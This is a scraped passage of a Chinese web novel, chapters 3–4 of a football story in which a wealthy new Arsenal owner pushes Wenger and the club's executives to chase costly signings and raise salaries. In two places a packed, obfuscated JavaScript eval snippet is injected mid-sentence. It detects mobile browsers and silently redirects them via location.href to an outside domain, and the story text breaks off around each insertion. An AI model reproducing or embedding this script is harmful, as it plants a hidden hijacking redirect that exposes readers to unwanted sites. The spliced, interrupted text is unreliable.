《[足球]教授，航母您要不要？》 3. 第 3 章 高衍轻描淡写的一句话，让办公室里的三位阿森纳核心管理层再次陷入了短暂的沉默。 亏几千万就亏几千万？ 这种壕无人性的发言，彻底击碎了他们过去十几年在勤俭持家模式下形成的价值观。 温格张了张嘴，想说些什么来反驳这种堪称球员和俱乐部两败俱伤的处理方式，但他看着高衍那副“我真的不在乎钱”的坦然表情，又硬生生把话咽了回去。 他忽然意识到，这位新老板的逻辑很简单。 钱能解决的问题，都不是问题。而阿森纳过去这些年，恰恰就是被钱这个问题折磨得死去活来。 CEO加齐迪斯眼睛都亮了。 “我明白您的意思了，高先生。”加齐迪斯率的语气中都带上了一丝不易察觉的兴奋：“我们会向巴塞罗那以及任何对法布雷加斯感兴趣的俱乐部明确传达我们的立场。5000万欧元，这是开启谈判的底线，少一欧元都不行。并且，我们不会接受任何不切实际的附加条款。” “没错，就是这样。”高衍满意地点点头：“告诉他们，任何不在主教练建队计划内的球员，或者是心不在球队的球员，只要钱到位，我们都可以出售。但我们不缺钱，也不急着卖，如果钱不到位，我们会宁愿他们在替补席坐穿板凳。当然，这里可以说得委婉一点，但意思就是这么个意思。” 迪克·劳下意识地就跟着点了点头。 作为一名转会主管，谁不想握着这样的筹码去跟其他俱乐部打交道呢？过去几年，他可是受够了在谈判桌上捉襟见肘，还有被对方俱乐部拿捏的憋屈。 但现在，一切都不同了。 新老板的强硬态度，再加上深不见底的财力，瞬间将阿森纳在转会市场上的弱势地位，提升到了规则制定者的高度。 这感觉......简直是太酷啦！ 他终于也可以体验一下那些石油佬俱乐部转会主管在谈判中挥金如土的快感啦！ “那我们接下来聊聊转会工作吧。” 温格左看看右看看，将两位同事的神情尽收眼底。 他能理解他们的兴奋，毕竟穷日子过得太久了。但作为一名将球员视为孩子，极度重视更衣室和谐与球员心理的主教练，温格从情感上是非常排斥用冷藏这种方式来惩罚一名球员的，尤其是这名球员还是他曾经寄予厚望的队长。 但理智也告诉他，过去正是因为俱乐部在财政上的弱势，导致他们在处理核心球员离队问题时往往显得优柔寡断，最终结果也大多是妥协，人财两失。而新老板提供的这种处理方式虽然手段激烈，但是却是最有效遏制球员以及经纪人无休止闹事，逼迫俱乐部就范的处理方式。 他沉默了一会儿，镜片后的眼睛也几经闪烁。但最终，他还是将那份复杂的情绪压入心底。 不管怎么说，俱乐部的长远利益才是目前首要需要考虑的事情。 温格在心里叹了口气，便顺着迪克·劳的话，开始认真说起了自己对于下赛季的转会计划。 “下赛季我会主打451或者442，在塞斯克确认会离队的情况下，我们必须找到一个能够替代他组织核心作用的球员。同时，我们需要一个更强硬的防守型中场，保护我们的后防线。锋线上需要至少一名足够强力的中锋，以及一名右边锋，后防线也需要补强至少一名中后卫和一名左边后卫。” 温格说到这里顿了一下，抬眼观察了一下高衍对于这几乎是快要换半队了的反应。 但高衍的内心是随着统子在那里越翻译就越欣喜。 好呀好呀！要补强这么多人那可太好了！ 正合我意呀！ 温格看高衍面上没什么反应，感觉是不是自己说的英文太难了导致对方没有听懂，所以试探着问道：“那我们先来聊一聊目前最重要的中场组织核心？” 一旁的迪克·劳赶紧将他和温格昨天晚上忙活了一夜，制定的转会计划翻到了中场候选名单那一页，推到了高衍面前。 高衍低头看去，名单上罗列了几个名字，后面跟着预估的身价和一些技术特点简介。 得益于系统的实时翻译，这回他总算能看懂了。 但是从第一名看到最后一名，都是一水的几百万、一千来万的选项。 虽然也挺贵的了，但是要是照这么买，这3亿欧要花到什么时候！ 果然呀！自己来看着点是最正确的选择！ 高衍的目光直接略过了这份名单，抬头望向温格：“阿尔塞纳，告诉我，目前转会市场上，你认为最好的组织中场是谁？不要考虑花多少钱，你只需要考虑他的能力和球队适配性，还有确定对方球队钱到位就肯卖就行！” 温格执教这么多年，就从来没听到过这种豪横发言，不禁愣了一下。 他几乎是下意识地回答道：“如果不考虑钱的话，大卫·席尔瓦，西班牙中场，目前所属俱乐部为瓦伦西亚。他的技术和视野都是顶级的，非常符合我们的战术体系，不过预估身价至少需要3000万欧元，这太贵了。” “确实挺贵的，要3000万呢。”高衍也是脱口而出，语气里带着一丝感慨。 听到这句话，温格的心都落到了肚子里，感觉这才是正常画风。 刚想安慰新老板，说我们可以寻找更具性价比的选择，却听到高衍感慨完的下一句就是。 “那有没有更贵一点的？就像你们说的什么科那种身价的？别担心预算，我相信你们已经知道我打到俱乐部账上的3亿欧了，所以你们可千万别为我省钱！” 温格、加齐迪斯和迪克·劳三人，被高衍这句“有没有更贵一点的”问得集体失语，办公室里陷入了一种诡异的寂静。 温格甚至下意识地推了推眼镜，怀疑自己的听力是不是出了什么问题。 更......更贵一点的？ 他执教阿森纳十四年，每一次转会谈判的核心都是“如何用最少的钱办最多的事”，每一次看中的球员都要反复权衡性价比，甚至因为几百万欧元的差价而忍痛放弃心仪目标更是家常便饭。 可现在，新老板坐在那里，用着一种“超市里普通鸡蛋打折，但我不想买打折的普通鸡蛋，我就要买应该营养更丰富的土鸡蛋”的语气，问他有没有比3000万欧元的大卫·席尔瓦更贵的选择？ 迪克·劳作为转会主管，率先从震惊中回过神来。他的大脑飞速运转，开始筛选着目前努努力可以用钱砸到的“天价”即战力中场组织核心。 将脑内的名单过了一圈，他才试探性地说道：“更高身价的中场组织核心都是各家真正的非卖品。但是，如果说目前存在操作可能性的顶级中场组织核心，我认为我们可以试试对AC米兰的安德烈亚·皮尔洛进行报价。” 他注意到老伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310587|182901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计温格在听到这个名字的时候，手指急不可查的弹动了一下。 心里暗笑，就知道你喜欢这种球员。 “虽然目前皮尔洛的年纪已经31岁了，但他的经验和组织能力，他阅读比赛的方式，依然是这个星球上最顶尖的中场节拍器之一。而且有消息称他本人对在米兰的未来并不完全确定，转会的意愿可能比外界想象的要强烈一些。预估转会费，考虑到年龄，大概在1500-2000万欧元左右，但他的薪资要求会比较高，而且可能需要一份长约。” 他顿了顿，看到高衍似乎对年龄、薪资、长约这些词并无太大反应，便继续补充道：“另外，同样在瓦伦西亚的大卫·比利亚我们也可以试着报价，他是目前欧洲足坛最高效、最全面的射手之一，射术、跑位都极为出色，甚至还有一定的策应能力，能极大地提升我们的锋线杀伤力。不过他的价格恐怕会比席尔瓦更高，瓦伦西亚即使财政困难，也不会要价过低，没有3500万欧元以上恐怕很难开启谈判，甚至可能达到4000万。” 全程就认真听了几个名字和数字的高衍干脆利落的一转头，问道：“阿尔塞纳，劳先生说的皮尔洛，还有那个更贵的大卫·比利亚，你认为怎么样？他们符合你的战术要求吗？” 温格沉吟了片刻。 虽然确实对于这两名球员非常满意，但是他还是客观地分析道：“皮尔洛的技术和经验毋庸置疑，是世界级的中场大师，拥有一脚能够改变战局的传球。但他的年龄和体能状况，能否适应英超高强度的节奏和频繁的赛程，这是一个巨大的问号。而且，他的防守覆盖面积相对较小，这就需要必须在他身边配备足够强大，并且覆盖范围极广的防守型中场。” “至于大卫·比利亚。”温格的语气中带上了一丝赞赏：“他是一名完美的射手，效率极高，几乎能在任何体系下进球。如果他能够加盟，我们的锋线实力将得到质的飞跃。” 分析完毕，温格也就习惯性地给出了性价比最高的建议：“所以我的建议是，慎重考虑皮尔洛带来的战术风险和年龄风险，或许放弃是更稳妥的选择。然后将资源集中，重点攻克席尔瓦和比利亚其中一名球员。毕竟如果两名球员一起带走，恐怕瓦伦西亚会坐地起价，那么价格就太贵了。” 高衍认认真真地听完。 有着系统给他做翻译，他迅速地就抓住了温格话里的重点。 不是人不行，是怕贵和怕风险。 而且这个球员都31岁了，过两年一退役，诶嘿，球队又要补强了！这钱不就又有地方花了嘛！ “所以对于皮尔洛，阿尔塞纳你是顾虑他可能会不适应英超，导致这笔投资达不到预期，而不是怀疑他作为中场大师的能力本身，对吗？” 温格迟疑了一下，最终还是点了点头：“可以这么理解。” “那既然是这样，我倒是认为买个顶级中场回来，作为备用也不亏。反正我们这个转会窗有3亿欧元，容错空间很大！”高衍双手交叉抵在下巴前，cos了一下碇源堂：“至于大卫·席尔瓦和大卫·比利亚，既然你认为他们都是能极大提升球队实力的顶级球员，那为什么还要做选择题！” “小孩子才做选择题，我们是大人了！就是要全都要！” “钱，以后都不会是你们该考虑的问题！尽快把人带到阿森纳，让球队的阵容强大起来才是最重要的！” 4. 第 4 章 经历了几次金元暴击，办公室里的三人似乎是已经有点习惯了，现在这间屋子里，弥漫的不再是震惊和怀疑，而是一种近乎梦幻，被巨大幸福感笼罩的氛围。 迪克·劳已经开始翻开自己的笔记本，在上面疯狂记录了。 高衍看着他那股劲头，心里很满意。 在心里暗自计算了一下三名球员加起来，转会费才花了大概1个亿欧元，距离三亿欧元的小目标还远着呢，他就连忙趁热打铁的问道：“还有什么要补强的人选嘛？你们说的后卫还有右边锋呢？而且阵容深度也很重要吧，是不是还要再补点轮换球员？” 瞄了一下自己面前被翻开，但是上面只有几百万、一千万出头的转会计划，高衍立刻把它合上推到桌子的最边缘。 “好了，让我们忘掉这份最初的计划。现在，把你们内心深处认为最好的，最能立刻提升球队实力的球员，都说出来吧！” 温格和迪克·劳对视一眼，都能看到对方眼中被点燃的火焰。 两个人迅速在脑中过滤着那些以往只敢想想的“奢侈品”级球员。 “右边路突击手的话，我认为本菲卡的安赫尔·迪马利亚非常适合。他的突破能力、速度和创造力都是顶级的，能极大丰富我们的进攻套路。” 说到这里，温格顿了一下：“但是目前皇家马德里对他也很感兴趣，所以虽然预计转会费在2500万欧元左右，但实际上我并不确定最终价格，因为最终价格可能会被皇家马德里抬得更高，竞争也会非常激烈。” 高衍一听价格还有可能更高立刻点头，语气轻快地说道：“没问题，我相信阿尔塞纳你的判断，我们的右边锋就选这个迪玛利亚！只要不是拿我们当冤大头的价格就务必拿下！” 眼看着新老板如此轻易就同意了下来，迪克·劳也已经将迪玛利亚记在了笔记本上，温格感觉自己受到了鼓励，语速都加快了不少，一个个在原先只能想想的名字顿时就像不受控制一样，开始说了出来。 “中锋位置除了比利亚，我还想再补一个风格不同的顶级选择。” “巴塞罗那的兹拉坦·伊布拉希莫维奇。他和瓜迪奥拉的矛盾几乎是公开式的，离开的意愿非常强烈。我们可以尝试这个赛季以租借加强制买断的方式先将他带过来，这样只需要承担薪资，甚至是一部分薪资就可以了。” 一听只用花工资，高衍就连连摇头：“不不不，直接买，为什么要租借之后再强制买断？你既然认为他是我们需要的球员，那么我们就直接报价，并且告诉巴萨，我们可以一次性付清！” 温格张了张嘴，本想解释租借可以规避掉万一伊布来到阿森纳，却和阿森纳战术不适配的风险。但看到高衍眼中“别跟我谈钱，你就说你需不需要这个球员”的坚定目光，他把话又咽了回去。 这种纯粹依靠绝对财力支撑起的自信，对他而言真的是一种全新的体验！ “好吧，那么伊布拉希莫维奇大概身价也在2500万欧元左右。至于后腰位置上，利物浦的哈维尔·马斯切拉诺我认为是顶级的选择，防守覆盖和硬度无可挑剔，战斗精神也是我们中场急需的元素，预计转会费在2300万欧元上下。虽然球员本人更想去巴萨，但如果我们出手够快，也未必不能截下来。” “报！立刻报价！”高衍毫不犹豫地说道。 “中后卫我想要洛里昂的科斯切尔尼，左边后卫则是纽卡斯尔联的何塞·恩里克。他们都是身体强壮，防守稳健，一对一能力出色的后卫，两个人大约2000万欧元。” 每报出一个名字，高衍的眼睛就更亮一分。 这些名字后面跟着的或高或低的价格，在他听来都像是完成任务进度的悦耳提示音。 一直等到温格没有新的补充了，高衍才说道：“就按照刚刚阿尔塞纳说的这份名单，立刻准备报价！这些球员，全部！我想要尽快看到他们穿上阿森纳的球衣，坐在我们的更衣室里！” 迪克·劳猛地合上笔记本：“如您所愿，高先生！我会立刻着手操作，启动所有谈判。我向您保证！您会以最快的速度看到他们出现在我们的阵容里！” 激动人心的球员引进暂告一段落，高衍将目光重新投向温格。 “关于之前说过的续约合同，我也已经让人准备好了。”高衍的语气变得更为郑重起来：“年薪1200万欧元，你认为这个数字怎么样？而且我也不会干涉你的建队思路。毕竟有句话说的好，让专业的人干专业的事，才能走向成功。” 温格镜片后本来就挺大的眼睛瞬间睁的更大了。 “高，这个数字远超了行业标准......” 高衍这回没有听完，就打断了温格的话，解释道：“我查了一下目前教练这个行业的顶薪，皇家马德里为穆里尼奥付出的年薪是1000万欧元，所以我认为，我们自家的功勋主教练，为俱乐部付出了这么多，现在和未来还要承担更重的责任，绝对不能比目前的顶薪差。而且，这是你应得的尊重！” 他顿了顿，想着钱还剩很多，便将目光投向了一旁同样震惊于这个数字的加齐迪斯继续补充道：“当然，主教练年薪涨了，球员们的年薪体系也应该涨一涨。我们不追求让全部球员达到行业顶薪，但至少不能再是偏低的水平，这不利于留住现有核心和吸引顶级球员。还有其他员工的薪资，也涨薪百分之30。” “这方面我就不插手了，阿尔塞纳，你和加齐迪斯先生商量着办，拿出一个具有竞争力的新薪资结构方案来。” 最后计算了下，感觉这波钱花出去，差不多能达到系统的最低标准，高衍便一锤定音道：“那就这样吧。明天我们就召开一场盛大的新闻发布会，正式向全世界公布俱乐部与功勋主帅完成十年续约，还有新赛季的雄心！” 温格、加齐迪斯和迪克·劳三个人几乎是晕乎乎地走出了高衍的办公室。 来的时候满心忐忑，心里仿佛揣着一块沉甸甸的巨石。但走的时候，那块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310588|182901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨石却被新老板的金元攻势重新炼制成了虽然同样沉甸甸，但名字却变成了“希望”的东西。 加齐迪斯率先从那种梦幻感中挣脱出来，率先打破了走廊里的沉寂。 他看了一眼腕表，语气中带着前所未有的紧迫与兴奋：“先生们，看来我们需要立刻行动起来了！” 温格向后看了一眼高衍房门紧闭的办公室：“是呀，确实如此，我们现在不缺金钱，反而是开始缺时间了。” 这种奢侈的烦恼，是他执教阿森纳十四年来从未有过的全新体验。 他的话音未落，好像被小鞭子抽了的迪克·劳几乎是小跑着冲向了自己的办公室，嘴里还在念念有词：“瓦伦西亚、米兰、本菲卡、利物浦......天呐！我得准备多少份报价文件？谈判优先级怎么排？电话！对，先打电话！” 温格和加齐迪斯下意识地向走廊两边靠了靠，目送着仿佛陷入了疯魔的转会主管的背影消失在转角。 两人对视一眼，都能看到对方脸上那抹哭笑不得却又无比理解的神情。 “看得出来。”加齐迪斯松了松领带，失笑道：“迪克很开心。” “当然。”温格的嘴角也是勾起了一个弧度：“这些年因为没有钱，迪克在谈判桌上可是没少受气。现在，他也终于可以挺直腰板，体验一下挥舞支票簿是什么感觉了。” 加齐迪斯再次看了看腕表，也开始着急了起来：“阿尔塞纳，我也需要立刻和财务部门开个会，核算这一系列，嗯，惊人的操作所需要的资金流和支付节奏。另外......” 他顿了顿，脸上露出一丝几乎可以称得上是“豪横”的笑容：“那份全体员工涨薪30%的方案，我会以最高优先级处理。至于球员的新薪资结构体系，我会等你的方案。” 温格点了点头，然后看着加齐迪斯也步履匆匆地消失在了走廊另一头。 他没有立刻离开，而是独自一个人站在走廊，望着窗外科尔尼训练基地再熟悉不过的景色。 那些他亲手规划的功能性建筑，那两万多颗刚来时还是小树苗，现在已经长成了的大树...... 十年长约，1200万欧元的年薪，不会干预他建队计划的承诺，几乎可以买下任何他心仪球员的转会资金。 这些词汇组合在一起，在他的脑海中反复回响。 温格下意识地摸了摸口袋，那里并没有烟，他早就已经戒了。但此刻，他急需做点什么，来平复过于剧烈跳动着的心脏。 但最终，他也只是深深地吸了一口气，再缓缓地吐出，仿佛要将积压多年的重负一并倾泻而出。最后整理了一下自己并不凌乱的西装领口和袖口，便迈开脚步，向着自己的办公室走去。 还有太多事情等待着他。 就比如，立刻给那些心仪已久的球员，拨一通至关重要的电话。告诉他们，自己早就已经在心里规划了千万遍的战术定位。 时间，确实一刻也不能再耽搁了。